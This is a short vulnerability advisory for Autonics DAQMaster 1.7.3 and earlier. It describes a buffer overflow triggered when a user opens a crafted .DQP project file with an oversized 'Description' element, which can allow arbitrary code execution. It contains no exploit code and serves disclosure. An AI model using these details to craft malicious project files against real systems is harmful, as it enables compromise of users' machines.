Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution


Vendor: Autonics Corporation
Product web page: https://www.autonics.com
Affected version: 1.7.3 (build 2454)
                  1.7.0 (build 2333)
                  1.5.0 (build 2117)

Summary: DAQMaster is comprehensive device management program
that can be used with Autonics thermometers, panel meters,
pulse meters, and counters, etc and with Konics recorders,
indicators. DAQMaster provides GUI control for easy and convenient
management of parameters and multiple device data monitoring.

Desc: The vulnerability is caused due to a boundary error in the
processing of a project file, which can be exploited to cause a
buffer overflow when a user opens e.g. a specially crafted .DQP
project file with a large array of bytes inserted in the 'Description'
element. Successful exploitation could allow execution of arbitrary
code on the affected machine.
